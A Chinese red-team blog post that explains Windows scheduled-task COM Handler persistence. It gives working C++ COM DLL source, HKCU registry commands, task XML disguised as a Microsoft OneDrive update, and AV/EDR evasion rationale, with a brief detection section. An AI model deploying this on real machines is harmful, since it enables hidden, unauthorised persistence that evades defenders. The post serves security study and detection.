文章总结: 本文深入解析Windows任务计划COMHandler技术在红队权限维持中的应用。文章阐述了其通过DLL加载实现原生免杀与隐蔽执行的优势,提供了C++开发COM服务端、注册表配置及XML任务创建的完整实战代码,并探讨了进程链隐蔽性与检测防御思路。 综合评分: 95 文章分类: 红队,免杀,内网渗透,终端安全,实战经验
Windows任务计划COM Handler在权限维持中的应用
原创
ybdt ybdt
卡卡罗特取西经
2026年1月24日 10:31 吉林
本文首发于先知社区:https://xz.aliyun.com/news/91279
0x1 前言
先知社区中没看到关于Windows任务计划COM Handler的文章,遂写一篇关于Windows任务计划COM Handler
本文会先介绍Windows任务计划COM Handler是什么(下文简称COM Handler),然后介绍它在权限维持中的应用,最后介绍通过C++实现COM Handler、通过注册表注册COM Handler、通过任务计划调用COM Handler
0x2 COM Handler是什么
我们都知道Windows任务计划中的动作包括:启动程序、发送电子邮件、显示消息
image
其实还有一个动作叫COM Handler,我们无法通过任务计划的GUI或CLI直接指定动作为COM Handler,但可以通过导入xml文件或调用任务计划API的方式创建,先看看它的样子,如下图所示,COM Handler创建后,动作的名字是Custom Handler
image
那COM Handler是什么呢,在Windows任务计划程序中,COM Handler是一种特殊的动作,与传统的“启动程序”或“发送电子邮件”不同,它允许任务计划程序调用一个注册在系统中的 COM 对象来执行特定的逻辑。
简单来说,当任务触发时,任务计划程序不会启动一个新的exe进程,而是加载一个指定的dll文件并在任务计划程序的进程中运行代码
0x3 COM Handler滥用
看完上面的介绍,经常搞Windows终端攻防的同学都会想到,这是原生免杀的命令执行和权限维持特性,攻击者可以利用这个特性执行恶意dll,dll运行在任务计划宿主进程taskhostw.exe中,原生实现了进程注入,再配置创建任务计划,还可隐蔽实现权限维持,隐蔽性主要体现在以下几个方面
1.执行方式多种多样
正常流程是自己实现一个COM Handler,注册到系统,创建任务计划,其中注册到系统这个环节还可以劫持系统中已注册的COM Handler(修改已有COM Handler对应的注册表项,使其指向自己的dll)
- • 通过reg add的方式,或通过reg import的方式
- • 通过注册表API
- • 通过INF文件的方式,通过INF文件修改注册表本质是SetupAPI.dll在修改注册表,这是一个白文件,也可以绕过部分安全软件的监测
- • 等等
创建任务计划这个环节,还可以劫持系统中已有的任务计划(修改已有任务计划配置文件中的CLSID,使其指向自己的COM Handler),甚至可以将COM Handler设置为第二个动作,不同AV/EDR的侧重点是不同的,上述这么多方式,我相信总有一种对你有用
2.进程链更干净
AV/EDR或病毒分析师经常通过可疑的进程链来判定某个白文件是否被滥用,比如任务计划进程的子进程是cmd.exe、powershell.exe、rundll32.exe等,则被认为是可疑的,在某些严格的组织中,不仅仅是cmd.exe、powshell.exe,如果子进程是不常见的程序、或进程对应的程序位于非常见路径下(比如非C:\Windows\System32),均会触发告警
但当使用COM Handler时,执行COM Handler的进程是dllhost.exe,所以任务计划进程的子进程是dllhost.exe,dllhost.exe载入dll也是一个常规操作,大大降低了可疑性
正常创建一个任务计划,新进程会作为任务计划服务程序的子进程,如下图所示:svchost.exe -k netsvcs -p -s Schedule下面出现了cmd.exe,通常被认为是可疑的
image
当使用COM Handler时,执行dll的是dllhost.exe,进程链变成了svchost.exe -> dllhost.exe,命令行参数是/Processid:{6B9279D0-D220-4288-AFDF-E424F558FEF2},很难被界定为是可疑操作
image
3.参数更隐蔽
很多AV/EDR也会通过进程的命令行参数来检测恶意行为,比如经典的mimikatz提取凭证时用到的参数
privilege::debug
sekurlsa::logonpasswords
而COM Handler传给dllhost的是一串CLSID,很难被界定为是可疑参数
之前在护网行动中也使用过这项技术,在触发AV/EDR告警时,怀疑安全运营人员由于找不到恶意文件在哪里,甚至会将其加白
0x4 COM Handler实现权限维持
先捋一下底层逻辑:
当创建的计划任务被触发时,任务计划程序(此时作为COM客户端)从配置文件中获取CLSID传给COM运行时,COM运行时根据CLSID从注册表中查询DLL(此时作为COM服务端)的位置,COM运行时将DLL载入到内存后,从DLL中查找固定名称的函数DllGetClassObject
也就是说DLL首先需要实现导出函数DllGetClassObject,然后就是常规的,先创建类工厂(Class Factory)对象,再通过类工厂对象创建TaskHandler对象,最后通过TaskHandler对象中的方法Start执行恶意代码,其实我们就是实现了一个COM服务端
相应的实现过程分为三步
- 1. 开发一个DLL形式的COM服务端
- 2. 注册COM,将开发好的DLL注册到相应的注册表位置
- 3. 创建计划任务,只能通过XML或API的方式创建
COM服务端开发
Source.def,声明dllmain中需要导出的函数
LIBRARY ComActionCpp
EXPORTS
DllCanUnloadNow PRIVATE
DllGetClassObject PRIVATE
dllmain.cpp,注释中包含相应解释
#include <initguid.h>
#include <comdef.h>
#include "ClassFactory.hpp"
#include "TaskHandler.hpp"
// 此处的值需要是注册表中注册的CLSID
extern "C" {
DEFINE_GUID(CLSID_TaskHandler, 0xECABD3A3, 0x725D, 0x4334, 0xAA, 0xFC, 0xBB, 0x13, 0x23, 0x4F, 0x12, 0x02);
}
extern "C" BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
return TRUE;
}
#pragma warning(push)
#pragma warning(disable: 28252)
#pragma warning(disable: 28251)
// COM运行时载入DLL后,会首先调用名为DllGetClassObject的函数
// 创建类工厂对象后,传给COM运行时,COM运行时拿到类工厂对象后,创建TaskHandler对象
// 最后将TaskHandler对象传给COM客户端(任务计划程序),由COM客户端调用其中的方法Start
STDAPI DllGetClassObject(_In_ REFCLSID clsid, _In_ REFIID iid, _Outptr_ LPVOID FAR* ppv)
{
if (IsEqualGUID(clsid, CLSID_TaskHandler))
{
ClassFactory* pAddFact = new ClassFactory();
if (pAddFact == NULL)
return E_OUTOFMEMORY;
else
{
return pAddFact->QueryInterface(iid, ppv);
}
}
return CLASS_E_CLASSNOTAVAILABLE;
}
// COM运行时最后卸载DLL时,会调用这个函数
STDAPI DllCanUnloadNow(void)
{
if (g_nComObjsInUse == 0)
{
return S_OK;
}
else
{
return S_FALSE;
}
}
#pragma warning(pop)
ClassFactory.hpp,类工厂头文件
#pragma once
#include <comdef.h>
#include "TaskHandler.hpp"
#define COM_CLASS_NAME CTaskHandler
class ClassFactory : public IClassFactory
{
public:
ClassFactory()
{
InterlockedIncrement(&m_nRefCount);
}
~ClassFactory()
{
InterlockedDecrement(&m_nRefCount);
}
// IUnknown中的3个方法必须实现
STDMETHODIMP QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppObj) override;
STDMETHODIMP_(ULONG) AddRef() override;
STDMETHODIMP_(ULONG) Release() override;
// IClassFactory中的2个方法必须实现
STDMETHODIMP CreateInstance(_In_opt_ IUnknown* pUnknownOuter, _In_ REFIID riid, _COM_Outptr_ LPVOID* ppv);
STDMETHODIMP LockServer(_In_ BOOL bLock);
private:
long m_nRefCount;
};
ClassFactory.cpp,类工厂实现文件
#include "ClassFactory.hpp"
STDMETHODIMP ClassFactory::CreateInstance(_In_opt_ IUnknown* pUnknownOuter, _In_ REFIID riid, _COM_Outptr_ LPVOID* ppv)
{
COM_CLASS_NAME* pTaskHandler;
if (!ppv) { return E_INVALIDARG; }
if (pUnknownOuter) { return CLASS_E_NOAGGREGATION; }
pTaskHandler = new COM_CLASS_NAME();
if (!pTaskHandler) { return E_OUTOFMEMORY; }
return pTaskHandler->QueryInterface(riid, ppv);
}
STDMETHODIMP ClassFactory::LockServer(_In_ BOOL bLock)
{
UNREFERENCED_PARAMETER(bLock);
return S_OK;
}
STDMETHODIMP ClassFactory::QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppv)
{
if (!ppv) { return E_INVALIDARG; }
if (IsEqualGUID(riid, IID_IUnknown))
{
*ppv = static_cast<IUnknown*>(this);
}
else if (IsEqualGUID(riid, IID_IClassFactory))
{
*ppv = static_cast<IClassFactory*>(this);
}
else {
*ppv = NULL;
return E_NOINTERFACE;
}
AddRef();
return S_OK;
}
STDMETHODIMP_(ULONG) ClassFactory::AddRef()
{
return InterlockedIncrement(&m_nRefCount);
}
STDMETHODIMP_(ULONG) ClassFactory::Release()
{
LONG nRefCount = 0;
nRefCount = InterlockedDecrement(&m_nRefCount);
if (nRefCount == 0) delete this;
return nRefCount;
}
TaskHandler.hpp,注释中包含相应解释
#pragma once
#include <taskschd.h>
#include <comdef.h>
extern long g_nComObjsInUse;
class CTaskHandler : public ITaskHandler
{
public:
CTaskHandler();
virtual ~CTaskHandler();
// IUnknown中的3个方法必须实现
STDMETHODIMP QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppObj) override;
STDMETHODIMP_(ULONG) AddRef() override;
STDMETHODIMP_(ULONG) Release() override;
// 下列为自定义方法
STDMETHODIMP Start(IUnknown* handler, BSTR data) override;
STDMETHODIMP Stop(HRESULT* retCode) override;
STDMETHODIMP Pause() override;
STDMETHODIMP Resume() override;
private:
long m_nRefCount;
};
TaskHandler.cpp,头文件TaskHandler.hpp对应的实现
#include <initguid.h>
#include <ObjIdl.h>
#include <Windows.h>
#include "TaskHandler.hpp"
DEFINE_GUID(IID_ITaskHandler, 0x839d7762, 0x5121, 0x4009, 0x92, 0x34, 0x4f, 0x0d, 0x19, 0x39, 0x4f, 0x04);
extern "C" DWORD WINAPI init() {
MessageBoxA(NULL, "Title", "Hello ybdt, I am from COM Handler", 0);
return 0;
}
CTaskHandler::CTaskHandler()
{
InterlockedIncrement(&m_nRefCount);
}
CTaskHandler::~CTaskHandler()
{
InterlockedDecrement(&m_nRefCount);
}
STDMETHODIMP CTaskHandler::Start(IUnknown* handler, BSTR data)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
init();
return S_OK;
}
STDMETHODIMP CTaskHandler::Stop(HRESULT* retCode)
{
ExitProcess(0);
return S_OK;
}
STDMETHODIMP CTaskHandler::Pause()
{
ExitProcess(0);
return S_OK;
}
STDMETHODIMP CTaskHandler::Resume()
{
return S_OK;
}
STDMETHODIMP CTaskHandler::QueryInterface(_In_ REFIID riid, _COM_Outptr_ LPVOID* ppv)
{
if (!ppv) { return E_INVALIDARG; }
if (IsEqualGUID(riid, IID_IUnknown))
{
*ppv = static_cast<IUnknown*>(this);
}
else if (IsEqualGUID(riid, IID_ITaskHandler))
{
*ppv = static_cast<ITaskHandler*>(this);
}
else {
*ppv = NULL;
return E_NOINTERFACE;
}
AddRef();
return S_OK;
}
STDMETHODIMP_(ULONG) CTaskHandler::AddRef()
{
return InterlockedIncrement(&m_nRefCount);
}
STDMETHODIMP_(ULONG) CTaskHandler::Release()
{
LONG nRefCount = 0;
nRefCount = InterlockedDecrement(&m_nRefCount);
if (nRefCount == 0) delete this;
return nRefCount;
}
代码放到:https://github.com/ybdt/evasion-hub/tree/master/05-Persistence/COM-Handler
编译后的文件为ComActionCpp.dll,经测试,名字和后缀都可以随意更改,我们将它改为comhandler.dat,位置也是我们自定义的,我们将它放在C:\Users\admin\Desktop\test下
COM服务端注册
一共需要创建6个注册表项
reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}"
reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}" /v "AppId" /t REG_SZ /d "{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}"
reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}\InprocServer32" /d "C:\Users\admin\Desktop\test\comhandler.dat"
reg add "HKCU\SOFTWARE\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}\InprocServer32" /v "ThreadingModel" /t REG_SZ /d "Both"
reg add "HKCU\SOFTWARE\Classes\AppID\{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}"
reg add "HKCU\SOFTWARE\Classes\AppID\{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}" /v "DllSurrogate" /t REG_SZ
由于都是在HKCU下操作,所以不需要管理员权限也可以
上述是在本地测试,实战中可以使用trustedsec的项目CS-Remote-OPs-BOF中的reg_set:https://github.com/trustedsec/CS-Remote-OPs-BOF
任务计划创建
任务计划定义了2种触发器,一种是任务计划创建后立即执行,另一种是每隔1小时执行一次,XML文件如下
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Author>Microsoft Corporation</Author>
<URI>\OneDrive Standalone Update Task-S-1-5-21-1299387972-143441575-8753562129-1001</URI>
</RegistrationInfo>
<Triggers>
<RegistrationTrigger id="Registration Trigger">
<Enabled>true</Enabled>
</RegistrationTrigger>
<CalendarTrigger>
<Repetition>
<Interval>PT1H</Interval>
<Duration>P1D</Duration>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2022-01-12T12:40:56</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>false</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<RestartOnFailure>
<Interval>PT1H</Interval>
<Count>999</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<ComHandler>
<ClassId>{ECABD3A3-725D-4334-AAFC-BB13234F1202}</ClassId>
</ComHandler>
</Actions>
</Task>
使用如下命令将创建任务计划
schtasks.exe /create /xml "task.xml" /tn "Test Schedule"
同样,在实战中我们可以使用trustedsec的项目CS-Remote-OPs-BOF中的schtaskscreate:https://github.com/trustedsec/CS-Remote-OPs-BOF
可以看到成功执行我们的COM Handler
image
0x5 COM Handler检测
在任务计划的GUI和CLI中是无法看到对应的dll文件,需要
- 1. 通过任务计划XML文件获取CLSID
- 2. 查询那个CLSID在注册表的位置
- 3. 检查CLSID的子项InProcSever32指向的文件是否是恶意文件
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:卡卡罗特取西经 ybdt ybdt《Windows任务计划COM Handler在权限维持中的应用》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论